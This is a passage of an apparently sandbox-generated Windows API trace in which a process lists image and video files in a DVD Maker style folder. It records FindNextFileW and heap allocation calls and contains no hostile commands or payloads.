ftLastAccessTime.dwLowDateTime=0x700a0016, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1b0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Mask1.png", cAlternateFileName="")) returned 1 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91fee8 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931860 [0245.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.311] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dd7d253, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perf_Scenes_Subpicture1.png", cAlternateFileName="")) returned 1 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91ff08 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931968 [0245.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.311] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70269072, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70269072, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.311] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.311] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.312] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91ff28 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931a70 [0245.312] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.312] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x702b532c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x702b532c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="PreviousMenuButtonIconSubpi.png", cAlternateFileName="")) returned 1 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.312] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.312] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91ff48 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931b78 [0245.312] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.312] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700ec2d0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700ec2d0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dda33b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc24, dwReserved0=0x0, dwReserved1=0x0, cFileName="redmenu.png", cAlternateFileName="")) returned 1 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.312] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.312] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91ff68 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931c80 [0245.312] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.312] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ddc950f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8232c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop.wmv", cAlternateFileName="")) returned 1 [0245.312] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91ff88 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931d88 [0245.313] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.313] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70399b5a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70399b5a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4de61a87, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x95bac, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scene_loop_PAL.wmv", cAlternateFileName="")) returned 1 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91ffa8 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931e90 [0245.313] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.313] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x99, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonIcon.png", cAlternateFileName="")) returned 1 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91ffc8 [0245.313] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x931f98 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7011242d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7011242d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84, dwReserved0=0x0, dwReserved1=0x0, cFileName="TitleButtonSubpicture.png", cAlternateFileName="")) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x91ffe8 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9320a0 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703e5e14, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703e5e14, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4ded3ea1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a9204, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page.wmv", cAlternateFileName="")) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920008 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9321a8 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7047e388, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7047e388, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e050c4d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1d0304, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Page_PAL.wmv", cAlternateFileName="")) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.314] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.314] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920028 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9322b0 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xd00) returned 0x927508 [0245.315] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x9349d8) returned 1 [0245.315] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.315] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70588d13, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70588d13, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1a789b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xad264, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_notes.wmv", cAlternateFileName="")) returned 1 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.315] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.315] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920048 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9323b8 [0245.315] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.315] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x705fb12a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x705fb12a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e1f3b57, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb4f64, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Notes_PAL.wmv", cAlternateFileName="")) returned 1 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.315] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.315] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920068 [0245.315] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9324c0 [0245.315] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.315] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7066d541, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7066d541, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e23fe13, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x999e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="title_trans_scene.wmv", cAlternateFileName="")) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x920088 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9325c8 [0245.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.316] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70705ab5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70705ab5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa16e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Title_Trans_Scene_PAL.wmv", cAlternateFileName="")) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9200a8 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9326d0 [0245.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.316] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70079eb9, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70079eb9, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1a3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="userContent_16x9_imagemask.png", cAlternateFileName="")) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.316] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9200c8 [0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9327d8 [0245.317] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.317] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 1 [0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.317] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.317] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x927148 [0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x9200e8 [0245.317] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9328e0 [0245.317] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x927148) returned 1 [0245.317] FindNextFileW (in: hFindFile=0x4fd660, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x700c6173, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x700c6173, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4e53996b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2ee8, dwReserved0=0x0, dwReserved1=0x0, cFileName="whitemenu.png", cAlternateFileName="")) returned 0 [0245.317] GetLastError () returned 0x12 [0245.317] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Performance\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd4e0 [0245.317] FindClose (in: hFindFile=0x4fd660 | out: hFindFile=0x4fd660) returned 1 [0245.317] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4fdbf3, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab8e11a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f9e8c42, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0245.317] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70562bb6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70562bb6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xeef, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480blacksquare.png", cAlternateFileName="")) returned 1 [0245.317] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x703015e6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x703015e6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4d35f55b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1168, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0245.317] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70327743, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70327743, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dbda349, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc04, dwReserved0=0x0, dwReserved1=0x0, cFileName="NextMenuButtonIconSubpictur.png", cAlternateFileName="")) returned 1 [0245.318] FindNextFileW (in: hFindFile=0x4fd4e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70184844, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70184844, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4dc26605, 